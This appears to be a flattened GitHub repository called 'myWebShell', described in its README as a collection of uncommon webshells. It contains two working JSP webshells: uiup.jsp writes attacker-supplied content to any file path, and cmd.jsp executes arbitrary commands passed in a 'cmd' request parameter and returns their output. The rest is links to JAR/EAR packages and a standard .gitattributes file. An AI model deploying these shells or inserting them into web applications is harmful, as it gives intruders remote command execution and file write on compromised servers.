├── README.md ├── java ├── oldwlc.ear ├── broadcast.jar ├── uiup.jsp └── cmd.jsp └── .gitattributes /README.md: -------------------------------------------------------------------------------- 1 | # myWebShell 2 | 一些比较冷门或者特殊的webshell脚本、jar包、war包、EAR包 3 | -------------------------------------------------------------------------------- /java/oldwlc.ear: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/wangeradd1/myWebShell/HEAD/java/oldwlc.ear -------------------------------------------------------------------------------- /java/broadcast.jar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/wangeradd1/myWebShell/HEAD/java/broadcast.jar -------------------------------------------------------------------------------- /.gitattributes: -------------------------------------------------------------------------------- 1 | # Auto detect text files and perform LF normalization 2 | * text=auto 3 | 4 | # Custom for Visual Studio 5 | *.cs diff=csharp 6 | 7 | # Standard to msysgit 8 | *.doc diff=astextplain 9 | *.DOC diff=astextplain 10 | *.docx diff=astextplain 11 | *.DOCX diff=astextplain 12 | *.dot diff=astextplain 13 | *.DOT diff=astextplain 14 | *.pdf diff=astextplain 15 | *.PDF diff=astextplain 16 | *.rtf diff=astextplain 17 | *.RTF diff=astextplain 18 | -------------------------------------------------------------------------------- /java/uiup.jsp: -------------------------------------------------------------------------------- 1 | <%@page contentType="text/html;charset=gb2312"%><%@page import="java.io.*"%>Uploader<%if(request.getParameter("content")!=null){String content=new String(request.getParameter("content").getBytes("ISO-8859-1"),"gb2312");String path=new String(request.getParameter("path").getBytes("ISO-8859-1"),"gb2312");OutputStream fos=null;fos=new FileOutputStream(path);fos.write(content.getBytes());}%>
path:">

-------------------------------------------------------------------------------- /java/cmd.jsp: -------------------------------------------------------------------------------- 1 | <%@ page language="java" import="java.util.*,java.io.*,java.net.*" pageEncoding="gb2312"%> 2 | <% 3 | String cmd = request.getParameter("cmd"); 4 | String output = ""; 5 | Process p = null; 6 | 7 | if(cmd == null) { 8 | out.println( "USG:
"+"?cmd=whoami" ); 9 | } 10 | else 11 | { 12 | String s = null; 13 | try { 14 | if (System.getProperty("os.name").toUpperCase().indexOf("WINDOWS") != -1) 15 | { 16 | p = Runtime.getRuntime().exec("cmd.exe /C " + cmd); 17 | } 18 | else 19 | { 20 | p = Runtime.getRuntime().exec( cmd ); 21 | } 22 | BufferedReader sI = new BufferedReader(new InputStreamReader(p.getInputStream())); 23 | while((s = sI.readLine()) != null) 24 | { 25 | out.print(s + "
"); 26 | } 27 | } 28 | catch(IOException e) 29 | { 30 | out.println( e ); 31 | } 32 | } 33 | %> --------------------------------------------------------------------------------